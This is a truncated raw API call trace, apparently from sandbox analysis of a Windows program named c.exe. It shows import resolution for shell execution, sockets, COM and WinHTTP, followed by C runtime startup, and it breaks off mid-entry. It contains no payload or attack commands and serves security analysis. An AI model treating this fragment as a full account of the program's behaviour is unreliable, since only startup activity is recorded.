[0051.244] GetModuleHandleA (lpModuleName="SHELL32.dll") returned 0x75670000 [0051.244] GetProcAddress (hModule=0x75670000, lpProcName="ShellExecuteA") returned 0x758b7078 [0051.244] GetModuleHandleA (lpModuleName="WS2_32.dll") returned 0x75360000 [0051.244] GetProcAddress (hModule=0x75360000, lpProcName=0x4) returned 0x75366bdd [0051.245] GetProcAddress (hModule=0x75360000, lpProcName=0x9) returned 0x75362d8b [0051.245] GetProcAddress (hModule=0x75360000, lpProcName=0x74) returned 0x75363c5f [0051.245] GetProcAddress (hModule=0x75360000, lpProcName=0xc) returned 0x7536b131 [0051.245] GetProcAddress (hModule=0x75360000, lpProcName=0x34) returned 0x75377673 [0051.245] GetProcAddress (hModule=0x75360000, lpProcName=0x73) returned 0x75363ab2 [0051.245] GetProcAddress (hModule=0x75360000, lpProcName=0xb) returned 0x7536311b [0051.245] GetProcAddress (hModule=0x75360000, lpProcName=0x17) returned 0x75363eb8 [0051.245] GetProcAddress (hModule=0x75360000, lpProcName=0x3) returned 0x75363918 [0051.245] GetModuleHandleA (lpModuleName="ole32.dll") returned 0x762c0000 [0051.245] GetProcAddress (hModule=0x762c0000, lpProcName="CoSetProxyBlanket") returned 0x762d5ea5 [0051.245] GetProcAddress (hModule=0x762c0000, lpProcName="CoInitializeSecurity") returned 0x762e7259 [0051.245] GetProcAddress (hModule=0x762c0000, lpProcName="CoInitializeEx") returned 0x763009ad [0051.245] GetProcAddress (hModule=0x762c0000, lpProcName="CoUninitialize") returned 0x763086d3 [0051.246] GetProcAddress (hModule=0x762c0000, lpProcName="CoCreateInstance") returned 0x76309d0b [0051.246] GetModuleHandleA (lpModuleName="OLEAUT32.dll") returned 0x769d0000 [0051.246] GetProcAddress (hModule=0x769d0000, lpProcName=0x9) returned 0x769d3eae [0051.246] GetProcAddress (hModule=0x769d0000, lpProcName=0x2) returned 0x769d4642 [0051.246] GetProcAddress (hModule=0x769d0000, lpProcName=0x6) returned 0x769d3e59 [0051.246] GetProcAddress (hModule=0x769d0000, lpProcName=0x8) returned 0x769d3ed5 [0051.246] GetModuleHandleA (lpModuleName="ODBC32.dll") returned 0x73ca0000 [0051.246] GetProcAddress (hModule=0x73ca0000, lpProcName=0x1f) returned 0x73cc8971 [0051.246] GetProcAddress (hModule=0x73ca0000, lpProcName=0x18) returned 0x73cca575 [0051.246] GetProcAddress (hModule=0x73ca0000, lpProcName=0xd) returned 0x73ccf915 [0051.246] GetProcAddress (hModule=0x73ca0000, lpProcName=0x4b) returned 0x73cd3d90 [0051.246] GetProcAddress (hModule=0x73ca0000, lpProcName=0x4c) returned 0x73cce489 [0051.246] GetProcAddress (hModule=0x73ca0000, lpProcName=0x9) returned 0x73cc9c28 [0051.246] GetProcAddress (hModule=0x73ca0000, lpProcName=0x29) returned 0x73cc8fd7 [0051.247] GetProcAddress (hModule=0x73ca0000, lpProcName=0x4) returned 0x73ccf75a [0051.247] GetProcAddress (hModule=0x73ca0000, lpProcName=0xb) returned 0x73cce33b [0051.247] GetModuleHandleA (lpModuleName="WINHTTP.dll") returned 0x73ea0000 [0051.247] GetProcAddress (hModule=0x73ea0000, lpProcName="WinHttpOpen") returned 0x73ea58b9 [0051.247] GetProcAddress (hModule=0x73ea0000, lpProcName="WinHttpOpenRequest") returned 0x73ea4aea [0051.247] GetProcAddress (hModule=0x73ea0000, lpProcName="WinHttpCloseHandle") returned 0x73ea2c01 [0051.247] GetProcAddress (hModule=0x73ea0000, lpProcName="WinHttpSendRequest") returned 0x73ea79bd [0051.247] GetProcAddress (hModule=0x73ea0000, lpProcName="WinHttpConnect") returned 0x73ead9f5 [0051.281] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ff60 | out: lpSystemTimeAsFileTime=0x18ff60*(dwLowDateTime=0x7787b120, dwHighDateTime=0x1d5ca1f)) [0051.281] GetCurrentThreadId () returned 0x174 [0051.281] GetCurrentProcessId () returned 0xb7c [0051.281] QueryPerformanceCounter (in: lpPerformanceCount=0x18ff58 | out: lpPerformanceCount=0x18ff58*=19239102138) returned 1 [0051.296] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0051.342] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x0 [0051.342] GetLastError () returned 0x57 [0051.375] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x800) returned 0x0 [0051.375] GetLastError () returned 0x57 [0051.375] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x0) returned 0x76e10000 [0051.376] GetProcAddress (hModule=0x76e10000, lpProcName="InitializeCriticalSectionEx") returned 0x76e24d28 [0051.404] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0051.405] GetLastError () returned 0x57 [0051.405] GetProcAddress (hModule=0x76e10000, lpProcName="FlsAlloc") returned 0x76e24f2b [0051.405] GetProcAddress (hModule=0x76e10000, lpProcName="FlsSetValue") returned 0x76e24208 [0051.554] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x0 [0051.554] GetLastError () returned 0x57 [0051.554] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x0) returned 0x73f10000 [0051.655] GetProcAddress (hModule=0x73f10000, lpProcName="InitializeCriticalSectionEx") returned 0x0 [0051.671] GetProcessHeap () returned 0x230000 [0051.686] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0051.686] GetLastError () returned 0x57 [0051.686] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x0) returned 0x0 [0051.762] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x800) returned 0x0 [0051.763] GetLastError () returned 0x57 [0051.763] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x0) returned 0x76e10000 [0051.763] GetProcAddress (hModule=0x76e10000, lpProcName="FlsAlloc") returned 0x76e24f2b [0051.763] GetLastError () returned 0x57 [0051.763] GetProcAddress (hModule=0x76e10000, lpProcName="FlsGetValue") returned 0x76e21252 [0051.810] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x388) returned 0x2471c8 [0051.840] GetProcAddress (hModule=0x76e10000, lpProcName="FlsSetValue") returned 0x76e24208 [0051.881] SetLastError (dwErrCode=0x57) [0051.881] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0xc24) returned 0x247558 [0052.031] GetStartupInfoW (in: lpStartupInfo=0x18fe48 | out: lpStartupInfo=0x18fe48*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Program Files\\Common Files\\System\\c.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x7efde000, hStdError=0x0)) [0052.031] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0052.031] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0052.031] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0052.031] GetCommandLineA () returned="\"C:\\Program Files\\Common Files\\System\\c.exe\"" [0052.031] GetCommandLineW () returned="\"C:\\Program Files\\Common Files\\System\\c.exe\"" [0052.047] GetLastError () returned 0x57 [0052.050] SetLastError (dwErrCode=0x57) [0052.050] GetLastError () returned 0x57 [0052.050] SetLastError (dwErrCode=0x57) [0052.080] GetACP () returned 0x4e4 [0052.080] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x244) returned 0x246e80 [0052.081] IsValidCodePage (CodePage=0x4e4) returned 1 [0052.081] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0052.081] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f748 | out: lpCPInfo=0x18f748) returned 1 [0052.099] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd5c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0052.099] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x22c) returned 0x249188 [0052.099] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd5c, cbMultiByte=256, lpWideCharStr=0x2491b0, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ﷽﷽") returned 256 [0052.099] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ﷽﷽", cchSrc=256, lpCharType=0x18f75c | out: lpCharType=0x18f75c) returned 1 [0052.100] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x249188) returned 1 [0052.115] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x249188 | out: hHeap=0x230000) returned 1 [0052.130] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd5c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0052.130] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x22c) returned 0x249188 [0052.130] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd5c, cbMultiByte=256, lpWideCharStr=0x2491b0, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ﷽﷽") returned 256 [0052.130] LoadLibraryExW (lpLibFileName="api-ms-win-core-localization-l1-2-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0052.130] GetLastError () returned 0x57 [0052.130] LoadLibraryExW (lpLibFileName="api-ms-win-core-localization-l1-2-1", hFile=0x0, dwFlags=0x0) returned 0x0 [0052.252] GetProcAddress (hModule=0x76e10000, lpProcName="LCMapStringEx") returned 0x76ea47f1 [0052.252] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ﷽﷽", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0052.252] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x22c) returned 0x2493c0 [0052.252] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ﷽﷽", cchSrc=256, lpDestStr=0x2493e8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ﷽﷽") returned 256 [0052.252] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ﷽﷽", cchWideChar=256, lpMultiByteStr=0x18fc5c, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ\x81\x16ï\x0c\x9cþ\x18", lpUsedDefaultChar=0x0) returned 256 [0052.252] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x2493c0) returned 1 [0052.252] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2493c0 | out: hHeap=0x230000) returned 1 [0052.252] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x249188) returned 1 [0052.253] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x249188 | out: hHeap=0x230000) returned 1 [0052.253] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd5c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0052.253] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x22c) returned 0x249188 [0052.253] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd5c, cbMultiByte=256, lpWideCharStr=0x2491b0, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ﷽﷽") returned 256 [0052.253] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ﷽﷽", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0052.253] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x22c) returned 0x2493c0 [0052.253] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ﷽﷽", cchSrc=256, lpDestStr=0x2493e8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸ﷽﷽") returned 256 [0052.253] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸ﷽﷽", cchWideChar=256, lpMultiByteStr=0x18fb5c, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ\x81\x16ï\x0c\x9cþ\x18", lpUsedDefaultChar=0x0) returned 256 [0052.253] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x2493c0) returned 1 [0052.253] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2493c0 | out: hHeap=0x230000) returned 1 [0052.253] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x249188) returned 1 [0052.253] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x249188 | out: hHeap=0x230000) returned 1 [0052.294] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0xa4) returned 0x249188 [0052.294] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x6fd828, nSize=0x104 | out: lpFilename="C:\\Program Files\\Common Files\\System\\c.exe" (normalized: "c:\\program files\\common files\\system\\c.exe")) returned 0x2a [0052.294] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x57) returned 0x2470d0 [0052.294] RtlInitializeSListHead (in: ListHead=0x6fd4c0 | out: ListHead=0x6fd4c0) [0052.330] GetLastError () returned 0x0 [0052.330] SetLastError (dwErrCode=0x0) [0052.356] GetEnvironmentStringsW () returned 0x249238* [0052.356] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1381 [0052.357] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x589) returned 0x249d10 [0052.474] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x249d30, cbMultiByte=1381, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALLUSERSPROFILE=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 1381 [0052.474] FreeEnvironmentStringsW (penv=0x249238) returned 1 [0052.474] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0xbc) returned 0x249238 [0052.474] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x43) returned 0x241218 [0052.474] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x5a) returned 0x249300 [0052.474] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x5b) returned 0x249368 [0052.475] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x60) returned 0x2493d0 [0052.475] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x55) returned 0x249438 [0052.475] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x3b) returned 0x2436e0 [0052.475] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x48) returned 